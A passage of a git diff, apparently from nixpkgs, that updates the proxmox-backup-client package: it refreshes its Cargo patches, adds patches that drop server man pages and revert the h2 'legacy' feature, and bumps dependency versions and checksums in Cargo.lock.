--pbs-api-types.workspace = true
 -pbs-buildcfg.workspace = true
 -pbs-client.workspace = true
 -pbs-config.workspace = true
@@ -136,7 +119,9 @@ index 9354fb17..d2014429 100644
  # Local path overrides
  # NOTE: You must run `cargo update` after changing this for it to take effect!
  [patch.crates-io]
- 
+-#pbs-api-types = { path = "../proxmox/pbs-api-types" }
++pbs-api-types = { path = "../proxmox/pbs-api-types" }
+ #proxmox-acme = { path = "../proxmox/proxmox-acme" }
  #proxmox-apt = { path = "../proxmox/proxmox-apt" }
 -#proxmox-apt-api-types = { path = "../proxmox/proxmox-apt-api-types" }
 -#proxmox-async = { path = "../proxmox/proxmox-async" }
@@ -196,7 +181,6 @@ index 9354fb17..d2014429 100644
 +proxmox-uuid = { path = "../proxmox/proxmox-uuid" }
 +proxmox-worker-task = { path = "../proxmox/proxmox-worker-task" }
  
- #proxmox-acme = { path = "../proxmox/proxmox-acme" }
 -#pathpatterns = {path = "../pathpatterns" }
 -#pxar = { path = "../pxar" }
 +pathpatterns = {path = "../pathpatterns" }
@@ -205,5 +189,5 @@ index 9354fb17..d2014429 100644
  [features]
  default = []
 -- 
-2.47.0
+2.49.0
 
diff --git a/pkgs/by-name/pr/proxmox-backup-client/0002-docs-Add-target-path-fixup-variable.patch b/pkgs/by-name/pr/proxmox-backup-client/0002-docs-add-target-path-fixup-variable.patch
similarity index 70%
rename from pkgs/by-name/pr/proxmox-backup-client/0002-docs-Add-target-path-fixup-variable.patch
rename to pkgs/by-name/pr/proxmox-backup-client/0002-docs-add-target-path-fixup-variable.patch
index a052c9b7fba0..5f09aa9c95a1 100644
--- a/pkgs/by-name/pr/proxmox-backup-client/0002-docs-Add-target-path-fixup-variable.patch
+++ b/pkgs/by-name/pr/proxmox-backup-client/0002-docs-add-target-path-fixup-variable.patch
@@ -1,7 +1,7 @@
-From fbfbc075c7451cda415fc5678cf5bce8bb11dc78 Mon Sep 17 00:00:00 2001
+From b71b5bab3fadc663d322e3ef2faa8f098423fb03 Mon Sep 17 00:00:00 2001
 From: Christoph Heiss <christoph@c8h4.io>
 Date: Tue, 24 Dec 2024 17:22:35 +0100
-Subject: [PATCH 2/3] docs: Add target path fixup variable
+Subject: [PATCH 2/5] docs: add target path fixup variable
 
 Signed-off-by: Christoph Heiss <christoph@c8h4.io>
 ---
@@ -9,10 +9,10 @@ Signed-off-by: Christoph Heiss <christoph@c8h4.io>
  1 file changed, 1 insertion(+)
 
 diff --git a/docs/Makefile b/docs/Makefile
-index 66da6037..a9939131 100644
+index c57cbbc2..fa00729e 100644
 --- a/docs/Makefile
 +++ b/docs/Makefile
-@@ -92,6 +92,7 @@ API_VIEWER_FILES :=							\
+@@ -94,6 +94,7 @@ API_VIEWER_FILES :=							\
  SPHINXOPTS    = -E
  SPHINXBUILD   = sphinx-build
  BUILDDIR      = output
@@ -21,5 +21,5 @@ index 66da6037..a9939131 100644
  ifeq ($(BUILD_MODE), release)
  COMPILEDIR := ../target/$(DEB_HOST_RUST_TYPE)/release
 -- 
-2.47.0
+2.49.0
 
diff --git a/pkgs/by-name/pr/proxmox-backup-client/0003-cargo-use-local-patched-h2-dependency.patch b/pkgs/by-name/pr/proxmox-backup-client/0003-cargo-use-local-patched-h2-dependency.patch
index 4a92350d3ebd..fdac6856b983 100644
--- a/pkgs/by-name/pr/proxmox-backup-client/0003-cargo-use-local-patched-h2-dependency.patch
+++ b/pkgs/by-name/pr/proxmox-backup-client/0003-cargo-use-local-patched-h2-dependency.patch
@@ -1,7 +1,7 @@
-From 3fc7e2ab65ad6a8af360fafa84b97f551fa1b619 Mon Sep 17 00:00:00 2001
+From 88f8ac1e5d158ad0a46177b813fd7557cc5e3fbe Mon Sep 17 00:00:00 2001
 From: Christoph Heiss <christoph@c8h4.io>
 Date: Tue, 24 Dec 2024 17:35:40 +0100
-Subject: [PATCH 3/3] cargo: use local patched h2 dependency
+Subject: [PATCH 3/5] cargo: use local patched h2 dependency
 
 Signed-off-by: Christoph Heiss <christoph@c8h4.io>
 ---
@@ -9,7 +9,7 @@ Signed-off-by: Christoph Heiss <christoph@c8h4.io>
  1 file changed, 2 insertions(+)
 
 diff --git a/Cargo.toml b/Cargo.toml
-index d2014429..54f951c8 100644
+index 99d712da..091696f1 100644
 --- a/Cargo.toml
 +++ b/Cargo.toml
 @@ -201,6 +201,8 @@ proxmox-worker-task = { path = "../proxmox/proxmox-worker-task" }
@@ -22,5 +22,5 @@ index d2014429..54f951c8 100644
  default = []
  #valgrind = ["valgrind_request"]
 -- 
-2.47.0
+2.49.0
 
diff --git a/pkgs/by-name/pr/proxmox-backup-client/0004-docs-drop-all-but-client-man-pages.patch b/pkgs/by-name/pr/proxmox-backup-client/0004-docs-drop-all-but-client-man-pages.patch
new file mode 100644
index 000000000000..4db8088010d2
--- /dev/null
+++ b/pkgs/by-name/pr/proxmox-backup-client/0004-docs-drop-all-but-client-man-pages.patch
@@ -0,0 +1,83 @@
+From 846d0b9c8f62340cb0703c59d16414b05a15382a Mon Sep 17 00:00:00 2001
+From: Thomas Lamprecht <thomas@lamprecht.org>
+Date: Tue, 29 Nov 2022 17:20:28 +0100
+Subject: [PATCH 4/5] docs: drop all but client man pages
+
+Signed-off-by: Thomas Lamprecht <thomas@lamprecht.org>
+Signed-off-by: Christoph Heiss <christoph@c8h4.io>
+---
+ docs/Makefile | 19 -------------------
+ docs/conf.py  | 24 ------------------------
+ 2 files changed, 43 deletions(-)
+
+diff --git a/docs/Makefile b/docs/Makefile
+index fa00729e..53a420b5 100644
+--- a/docs/Makefile
++++ b/docs/Makefile
+@@ -1,27 +1,8 @@
+ include ../defines.mk
+ 
+ GENERATED_SYNOPSIS := 						\
+-	config/acl/roles.rst					\
+-	config/datastore/config.rst				\
+-	config/domains/config.rst				\
+-	config/media-pool/config.rst				\
+-	config/notifications-priv/config.rst			\
+-	config/notifications/config.rst				\
+-	config/remote/config.rst				\
+-	config/sync/config.rst					\
+-	config/tape-job/config.rst				\
+-	config/tape/config.rst					\
+-	config/user/config.rst					\
+-	config/verification/config.rst				\
+-	config/prune/config.rst				\
+-	pmt/synopsis.rst					\
+-	pmtx/synopsis.rst					\
+ 	proxmox-backup-client/catalog-shell-synopsis.rst 	\
+ 	proxmox-backup-client/synopsis.rst			\
+-	proxmox-backup-debug/synopsis.rst			\
+-	proxmox-backup-manager/synopsis.rst			\
+-	proxmox-file-restore/synopsis.rst			\
+-	proxmox-tape/synopsis.rst				\
+ 	pxar/synopsis.rst					\
+ 
+ MAN1_PAGES := 				\
+diff --git a/docs/conf.py b/docs/conf.py
+index a7fa1079..345a0170 100644
+--- a/docs/conf.py
++++ b/docs/conf.py
+@@ -93,31 +93,7 @@ rst_epilog += f"\n..  |pbs-copyright| replace:: Copyright (C) {copyright}"
+ man_pages = [
+     # CLI
+     ('proxmox-backup-client/man1', 'proxmox-backup-client', 'Command line tool for Backup and Restore', [author], 1),
+-    ('proxmox-backup-manager/man1', 'proxmox-backup-manager', 'Command line tool to manage and configure the backup server.', [author], 1),
+-    ('proxmox-backup-debug/man1', 'proxmox-backup-debug', 'Debugging command line tool for Backup and Restore', [author], 1),
+-    ('proxmox-backup-proxy/man1', 'proxmox-backup-proxy', 'Proxmox Backup Public API Server', [author], 1),
+-    ('proxmox-backup/man1', 'proxmox-backup', 'Proxmox Backup Local API Server', [author], 1),
+-    ('proxmox-file-restore/man1', 'proxmox-file-restore', 'CLI tool for restoring files and directories from Proxmox Backup Server archives', [author], 1),
+-    ('proxmox-tape/man1', 'proxmox-tape', 'Proxmox Tape Backup CLI Tool', [author], 1),
+     ('pxar/man1', 'pxar', 'Proxmox File Archive CLI Tool', [author], 1),
+-    ('pmt/man1', 'pmt', 'Control Linux Tape Devices', [author], 1),
+-    ('pmtx/man1', 'pmtx', 'Control SCSI media changer devices (tape autoloaders)', [author], 1),
+-    ('pbs2to3/man1', 'pbs2to3', 'Proxmox Backup Server upgrade checker script for 2.4+ to current 3.x major upgrades', [author], 1),
+-    # configs
+-    ('config/acl/man5', 'acl.cfg', 'Access Control Configuration', [author], 5),
+-    ('config/datastore/man5', 'datastore.cfg', 'Datastore Configuration', [author], 5),
+-    ('config/domains/man5', 'domains.cfg', 'Realm Configuration', [author], 5),
+-    ('config/media-pool/man5', 'media-pool.cfg', 'Media Pool Configuration', [author], 5),
+-    ('config/node/man5', 'proxmox-backup.node.cfg', 'Proxmox Backup Server - Node Configuration', [author], 5),
+-    ('config/remote/man5', 'remote.cfg', 'Remote Server Configuration', [author], 5),
+-    ('config/sync/man5', 'sync.cfg', 'Synchronization Job Configuration', [author], 5),
+-    ('config/tape-job/man5', 'tape-job.cfg', 'Tape Job Configuration', [author], 5),
+-    ('config/tape/man5', 'tape.cfg', 'Tape Drive and Changer Configuration', [author], 5),
+-    ('config/user/man5', 'user.cfg', 'User Configuration', [author], 5),
+-    ('config/verification/man5', 'verification.cfg', 'Verification Job Configuration', [author], 5),
+-    ('config/prune/man5', 'prune.cfg', 'Prune Job Configuration', [author], 5),
+-    ('config/notifications/man5', 'notifications.cfg', 'Notification target/matcher configuration', [author], 5),
+-    ('config/notifications-priv/man5', 'notifications-priv.cfg', 'Notification target secrets', [author], 5),
+ ]
+ 
+ 
+-- 
+2.49.0
+
diff --git a/pkgs/by-name/pr/proxmox-backup-client/0005-Revert-h2-switch-to-legacy-feature.patch b/pkgs/by-name/pr/proxmox-backup-client/0005-Revert-h2-switch-to-legacy-feature.patch
new file mode 100644
index 000000000000..535191c61d0e
--- /dev/null
+++ b/pkgs/by-name/pr/proxmox-backup-client/0005-Revert-h2-switch-to-legacy-feature.patch
@@ -0,0 +1,198 @@
+From b1a06f6a63a63410f89bd0d2968a6fdb7ce2352d Mon Sep 17 00:00:00 2001
+From: Christoph Heiss <christoph@c8h4.io>
+Date: Thu, 5 Jun 2025 12:01:10 +0200
+Subject: [PATCH 5/5] Revert "h2: switch to legacy feature"
+
+This reverts commit 168ed370263e84a6235968c615b856b9280debe1.
+
+It's a Proxmox-specific workaround (see also the commit description
+itself) and does not apply here.
+
+Signed-off-by: Christoph Heiss <christoph@c8h4.io>
+---
+ Cargo.toml                       |  2 +-
+ examples/h2client.rs             |  6 +++---
+ examples/h2s-client.rs           |  6 +++---
+ pbs-client/src/backup_writer.rs  |  8 ++++----
+ pbs-client/src/http_client.rs    | 12 +++++-------
+ pbs-client/src/pipe_to_stream.rs |  2 +-
+ 6 files changed, 17 insertions(+), 19 deletions(-)
+
+diff --git a/Cargo.toml b/Cargo.toml
+index 091696f1..063f62f8 100644
+--- a/Cargo.toml
++++ b/Cargo.toml
+@@ -122,7 +122,7 @@ env_logger = "0.11"
+ flate2 = "1.0"
+ foreign-types = "0.3"
+ futures = "0.3"
+-h2 = { version = "0.4", features = [ "legacy", "stream" ] }
++h2 = { version = "0.4", features = [ "stream" ] }
+ handlebars = "3.0"
+ hex = "0.4.3"
+ hickory-resolver = { version = "0.24.1", default-features = false, features = [ "system-config", "tokio-runtime" ] }
+diff --git a/examples/h2client.rs b/examples/h2client.rs
+index e44c43fa..1dcb4498 100644
+--- a/examples/h2client.rs
++++ b/examples/h2client.rs
+@@ -10,7 +10,7 @@ use tokio::net::TcpStream;
+ // Simple H2 client to test H2 download speed using h2server.rs
+ 
+ struct Process {
+-    body: h2::legacy::RecvStream,
++    body: h2::RecvStream,
+     trailers: bool,
+     bytes: usize,
+ }
+@@ -50,7 +50,7 @@ impl Future for Process {
+ }
+ 
+ fn send_request(
+-    mut client: h2::legacy::client::SendRequest<bytes::Bytes>,
++    mut client: h2::client::SendRequest<bytes::Bytes>,
+ ) -> impl Future<Output = Result<usize, Error>> {
+     println!("sending request");
+ 
+@@ -78,7 +78,7 @@ async fn run() -> Result<(), Error> {
+     let conn = TcpStream::connect(std::net::SocketAddr::from(([127, 0, 0, 1], 8008))).await?;
+     conn.set_nodelay(true).unwrap();
+ 
+-    let (client, h2) = h2::legacy::client::Builder::new()
++    let (client, h2) = h2::client::Builder::new()
+         .initial_connection_window_size(1024 * 1024 * 1024)
+         .initial_window_size(1024 * 1024 * 1024)
+         .max_frame_size(4 * 1024 * 1024)
+diff --git a/examples/h2s-client.rs b/examples/h2s-client.rs
+index 86b3a931..a12b5a48 100644
+--- a/examples/h2s-client.rs
++++ b/examples/h2s-client.rs
+@@ -10,7 +10,7 @@ use tokio::net::TcpStream;
+ // Simple H2 client to test H2 download speed using h2s-server.rs
+ 
+ struct Process {
+-    body: h2::legacy::RecvStream,
++    body: h2::RecvStream,
+     trailers: bool,
+     bytes: usize,
+ }
+@@ -50,7 +50,7 @@ impl Future for Process {
+ }
+ 
+ fn send_request(
+-    mut client: h2::legacy::client::SendRequest<bytes::Bytes>,
++    mut client: h2::client::SendRequest<bytes::Bytes>,
+ ) -> impl Future<Output = Result<usize, Error>> {
+     println!("sending request");
+ 
+@@ -94,7 +94,7 @@ async fn run() -> Result<(), Error> {
+         .await
+         .map_err(|err| format_err!("connect failed - {}", err))?;
+ 
+-    let (client, h2) = h2::legacy::client::Builder::new()
++    let (client, h2) = h2::client::Builder::new()
+         .initial_connection_window_size(1024 * 1024 * 1024)
+         .initial_window_size(1024 * 1024 * 1024)
+         .max_frame_size(4 * 1024 * 1024)
+diff --git a/pbs-client/src/backup_writer.rs b/pbs-client/src/backup_writer.rs
+index 32542506..1253ef56 100644
+--- a/pbs-client/src/backup_writer.rs
++++ b/pbs-client/src/backup_writer.rs
+@@ -56,7 +56,7 @@ pub struct UploadOptions {
+ }
+ 
+ struct ChunkUploadResponse {
+-    future: h2::legacy::client::ResponseFuture,
++    future: h2::client::ResponseFuture,
+     size: usize,
+ }
+ 
+@@ -143,7 +143,7 @@ impl BackupWriter {
+         param: Option<Value>,
+         content_type: &str,
+         data: Vec<u8>,
+-    ) -> Result<h2::legacy::client::ResponseFuture, Error> {
++    ) -> Result<h2::client::ResponseFuture, Error> {
+         let request =
+             H2Client::request_builder("localhost", method, path, param, Some(content_type))
+                 .unwrap();
+@@ -514,7 +514,7 @@ impl BackupWriter {
+     }
+ 
+     fn response_queue() -> (
+-        mpsc::Sender<h2::legacy::client::ResponseFuture>,
++        mpsc::Sender<h2::client::ResponseFuture>,
+         oneshot::Receiver<Result<(), Error>>,
+     ) {
+         let (verify_queue_tx, verify_queue_rx) = mpsc::channel(100);
+@@ -537,7 +537,7 @@ impl BackupWriter {
+         tokio::spawn(
+             ReceiverStream::new(verify_queue_rx)
+                 .map(Ok::<_, Error>)
+-                .try_for_each(move |response: h2::legacy::client::ResponseFuture| {
++                .try_for_each(move |response: h2::client::ResponseFuture| {
+                     response
+                         .map_err(Error::from)
+                         .and_then(H2Client::h2api_response)
+diff --git a/pbs-client/src/http_client.rs b/pbs-client/src/http_client.rs
+index c95def07..8f6f8b41 100644
+--- a/pbs-client/src/http_client.rs
++++ b/pbs-client/src/http_client.rs
+@@ -863,7 +863,7 @@ impl HttpClient {
+ 
+         let max_window_size = (1 << 31) - 2;
+ 
+-        let (h2, connection) = h2::legacy::client::Builder::new()
++        let (h2, connection) = h2::client::Builder::new()
+             .initial_connection_window_size(max_window_size)
+             .initial_window_size(max_window_size)
+             .max_frame_size(4 * 1024 * 1024)
+@@ -1008,11 +1008,11 @@ impl Drop for HttpClient {
+ 
+ #[derive(Clone)]
+ pub struct H2Client {
+-    h2: h2::legacy::client::SendRequest<bytes::Bytes>,
++    h2: h2::client::SendRequest<bytes::Bytes>,
+ }
+ 
+ impl H2Client {
+-    pub fn new(h2: h2::legacy::client::SendRequest<bytes::Bytes>) -> Self {
++    pub fn new(h2: h2::client::SendRequest<bytes::Bytes>) -> Self {
+         Self { h2 }
+     }
+ 
+@@ -1092,7 +1092,7 @@ impl H2Client {
+         &self,
+         request: Request<()>,
+         data: Option<bytes::Bytes>,
+-    ) -> impl Future<Output = Result<h2::legacy::client::ResponseFuture, Error>> {
++    ) -> impl Future<Output = Result<h2::client::ResponseFuture, Error>> {
+         self.h2
+             .clone()
+             .ready()
+@@ -1109,9 +1109,7 @@ impl H2Client {
+             })
+     }
+ 
+-    pub async fn h2api_response(
+-        response: Response<h2::legacy::RecvStream>,
+-    ) -> Result<Value, Error> {
++    pub async fn h2api_response(response: Response<h2::RecvStream>) -> Result<Value, Error> {
+         let status = response.status();
+ 
+         let (_head, mut body) = response.into_parts();
+diff --git a/pbs-client/src/pipe_to_stream.rs b/pbs-client/src/pipe_to_stream.rs
+index 3fc942d3..ae689851 100644
+--- a/pbs-client/src/pipe_to_stream.rs
++++ b/pbs-client/src/pipe_to_stream.rs
+@@ -8,7 +8,7 @@ use std::task::{Context, Poll};
+ use anyhow::{format_err, Error};
+ use bytes::Bytes;
+ use futures::{ready, Future};
+-use h2::legacy::SendStream;
++use h2::SendStream;
+ 
+ pub struct PipeToSendStream {
+     body_tx: SendStream<Bytes>,
+-- 
+2.49.0
+
diff --git a/pkgs/by-name/pr/proxmox-backup-client/Cargo.lock b/pkgs/by-name/pr/proxmox-backup-client/Cargo.lock
index f7420ac3d37e..9c10cf28e635 100644
--- a/pkgs/by-name/pr/proxmox-backup-client/Cargo.lock
+++ b/pkgs/by-name/pr/proxmox-backup-client/Cargo.lock
@@ -19,9 +19,9 @@ checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627"
 
 [[package]]
 name = "ahash"
-version = "0.8.11"
+version = "0.8.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e89da841a80418a9b391ebaea17f5c112ffaaa96f621d2c285b5174da76b9011"
+checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75"
 dependencies = [
  "cfg-if",
  "once_cell",
@@ -45,10 +45,71 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "683d7910e743518b0e34f1186f92494becacb047c7b6bf616c96772180fef923"
 
 [[package]]
-name = "anyhow"
-version = "1.0.95"
+name = "anstream"
+version = "0.6.19"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34ac096ce696dc2fcabef30516bb13c0a68a11d30131d3df6f04711467681b04"
+checksum = "301af1932e46185686725e0fad2f8f2aa7da69dd70bf6ecc44d6b703844a3933"
+dependencies = [
+ "anstyle",
+ "anstyle-parse",
+ "anstyle-query",
+ "anstyle-wincon",
+ "colorchoice",
+ "is_terminal_polyfill",
+ "utf8parse",
+]
+
+[[package]]
+name = "anstyle"
+version = "1.0.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "862ed96ca487e809f1c8e5a8447f6ee2cf102f846893800b20cebdf541fc6bbd"
+
+[[package]]
+name = "anstyle-parse"
+version = "0.2.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2"
+dependencies = [
+ "utf8parse",
+]
+
+[[package]]
+name = "anstyle-query"
+version = "1.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6c8bdeb6047d8983be085bab0ba1472e6dc604e7041dbf6fcd5e71523014fae9"
+dependencies = [
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "anstyle-wincon"
+version = "3.0.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "403f75924867bb1033c59fbf0797484329750cfbe3c4325cd33127941fabc882"
+dependencies = [
+ "anstyle",
+ "once_cell_polyfill",
+ "windows-sys 0.59.0",
+]
+
+[[package]]
+name = "anyhow"
+version = "1.0.98"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e16d2d3311acee920a9eb8d33b8cbc1787ce4a264e85f964c2404b969bdcd487"
+
+[[package]]
+name = "async-trait"
+version = "0.1.88"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e539d3fca749fcee5236ab05e93a52867dd549cc157c8cb7f99595f3cedffdb5"
+dependencies = [
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
+]
 
 [[package]]
 name = "atomic-waker"
@@ -64,9 +125,9 @@ checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26"
 
 [[package]]
 name = "backtrace"
-version = "0.3.74"
+version = "0.3.75"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8d82cb332cdfaed17ae235a638438ac4d4839913cc2af585c3c6746e8f8bee1a"
+checksum = "6806a6321ec58106fea15becdad98371e28d92ccbc7c8f1b3b6dd724fe8f1002"
 dependencies = [
  "addr2line",
  "cfg-if",
@@ -91,23 +152,20 @@ checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
 
 [[package]]
 name = "bindgen"
-version = "0.69.5"
+version = "0.71.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "271383c67ccabffb7381723dea0672a673f292304fcb45c01cc648c7a8d58088"
+checksum = "5f58bf3d7db68cfbac37cfc485a8d711e87e064c3d0fe0435b92f7a407f9d6b3"
 dependencies = [
- "bitflags 2.6.0",
+ "bitflags 2.9.1",
  "cexpr",
  "clang-sys",
  "itertools",
- "lazy_static",
- "lazycell",
- "proc-macro2 1.0.92",
- "quote 1.0.37",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
  "regex",
  "rustc-hash",
  "shlex",
- "syn 2.0.91",
- "which",
+ "syn 2.0.101",
 ]
 
 [[package]]
@@ -118,9 +176,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
 
 [[package]]
 name = "bitflags"
-version = "2.6.0"
+version = "2.9.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de"
+checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967"
 
 [[package]]
 name = "block-buffer"
@@ -133,21 +191,21 @@ dependencies = [
 
 [[package]]
 name = "bumpalo"
-version = "3.16.0"
+version = "3.17.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c"
+checksum = "1628fb46dfa0b37568d12e5edd512553eccf6a22a78e8bde00bb4aed84d5bdbf"
 
 [[package]]
 name = "bytes"
-version = "1.9.0"
+version = "1.10.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "325918d6fe32f23b19878fe4b34794ae41fc19ddbe53b10571a4874d44ffd39b"
+checksum = "d71b6127be86fdcfddb610f7182ac57211d4b18a3e9c82eb2d17662f2227ad6a"
 
 [[package]]
 name = "cc"
-version = "1.2.5"
+version = "1.2.25"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c31a0499c1dc64f458ad13872de75c0eb7e3fdb0e67964610c914b034fc5956e"
+checksum = "d0fc897dc1e865cc67c0e05a836d9d3f1df3cbe442aa4a9473b18e12624a4951"
 dependencies = [
  "jobserver",
  "libc",
@@ -160,7 +218,7 @@ version = "0.6.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766"
 dependencies = [
- "nom",
+ "nom 7.1.3",
 ]
 
 [[package]]
@@ -201,6 +259,12 @@ dependencies = [
  "winapi",
 ]
 
+[[package]]
+name = "colorchoice"
+version = "1.0.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75"
+
 [[package]]
 name = "const_format"
 version = "0.2.34"
@@ -216,8 +280,8 @@ version = "0.2.34"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1d57c2eccfb16dbac1f4e61e206105db5820c9d26c3c472bc17c774259ef7744"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
  "unicode-xid 0.2.6",
 ]
 
@@ -239,9 +303,9 @@ checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
 
 [[package]]
 name = "cpufeatures"
-version = "0.2.16"
+version = "0.2.17"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "16b80225097f2e5ae4e7179dd2266824648f3e2f49d9134d584b76389d31c4c3"
+checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"
 dependencies = [
  "libc",
 ]
@@ -265,6 +329,12 @@ dependencies = [
  "typenum",
 ]
 
+[[package]]
+name = "data-encoding"
+version = "2.9.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "2a2330da5de22e8a3cb63252ce2abb30116bf5265e89c0e01bc17015ce30a476"
+
 [[package]]
 name = "digest"
 version = "0.10.7"
@@ -302,22 +372,22 @@ version = "0.2.5"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
 name = "either"
-version = "1.13.0"
+version = "1.15.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0"
+checksum = "48c757948c5ede0e46177b7add2e67155f70e33c07fea8284df6576da70b3719"
 
 [[package]]
 name = "email-encoding"
-version = "0.3.1"
+version = "0.4.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ea3d894bbbab314476b265f9b2d46bf24b123a36dd0e96b06a1b49545b9d9dcc"
+checksum = "9298e6504d9b9e780ed3f7dfd43a61be8cd0e09eb07f7706a945b0072b6670b6"
 dependencies = [
  "base64 0.22.1",
  "memchr",
@@ -355,29 +425,51 @@ dependencies = [
 ]
 
 [[package]]
-name = "env_logger"
-version = "0.10.2"
+name = "enum-as-inner"
+version = "0.6.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4cd405aab171cb85d6735e5c8d9db038c17d3ca007a4d2c25f337935c3d90580"
+checksum = "a1e6a265c649f3f5979b601d26f1d05ada116434c87741c9493cb56218f76cbc"
+dependencies = [
+ "heck",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
+]
+
+[[package]]
+name = "env_filter"
+version = "0.1.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "186e05a59d4c50738528153b83b0b0194d3a29507dfec16eccd4b342903397d0"
 dependencies = [
- "humantime",
- "is-terminal",
  "log",
  "regex",
- "termcolor",
+]
+
+[[package]]
+name = "env_logger"
+version = "0.11.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "13c863f0904021b108aa8b2f55046443e6b1ebde8fd4a15c399893aae4fa069f"
+dependencies = [
+ "anstream",
+ "anstyle",
+ "env_filter",
+ "jiff",
+ "log",
 ]
 
 [[package]]
 name = "equivalent"
-version = "1.0.1"
+version = "1.0.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5"
+checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f"
 
 [[package]]
 name = "errno"
-version = "0.3.10"
+version = "0.3.12"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "33d852cb9b869c2a9b3df2f71a3074817f01e1844f839a144f5fcef059a4eb5d"
+checksum = "cea14ef9355e3beab063703aa9dab15afd25f0667c341310c1e5274bb1d0da18"
 dependencies = [
  "libc",
  "windows-sys 0.59.0",
@@ -406,7 +498,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "ef033ed5e9bad94e55838ca0ca906db0e043f517adda0c8b79c7a8c66c93c1b5"
 dependencies = [
  "cfg-if",
- "rustix",
+ "rustix 0.38.44",
  "windows-sys 0.48.0",
 ]
 
@@ -424,9 +516,9 @@ dependencies = [
 
 [[package]]
 name = "flate2"
-version = "1.0.35"
+version = "1.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c936bfdafb507ebbf50b8074c54fa31c5be9a1e7e5f467dd659697041407d07c"
+checksum = "7ced92e76e966ca2fd84c8f7aa01a4aea65b0eb6648d72f7c8f3e2764a67fece"
 dependencies = [
  "crc32fast",
  "miniz_oxide",
@@ -516,9 +608,9 @@ version = "0.3.31"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650"
 dependencies = [
- "proc-macro2 1.0.92",
- "quote 1.0.37",
- "syn 2.0.91",
+ "proc-macro2 1.0.95",
+ "quote 1.0.40",
+ "syn 2.0.101",
 ]
 
 [[package]]
@@ -563,13 +655,25 @@ dependencies = [
 
 [[package]]
 name = "getrandom"
-version = "0.2.15"
+version = "0.2.16"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
+checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
 dependencies = [
  "cfg-if",
  "libc",
- "wasi",
+ "wasi 0.11.0+wasi-snapshot-preview1",
+]
+
+[[package]]
+name = "getrandom"
+version = "0.3.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4"
+dependencies = [
+ "cfg-if",
+ "libc",
+ "r-efi",
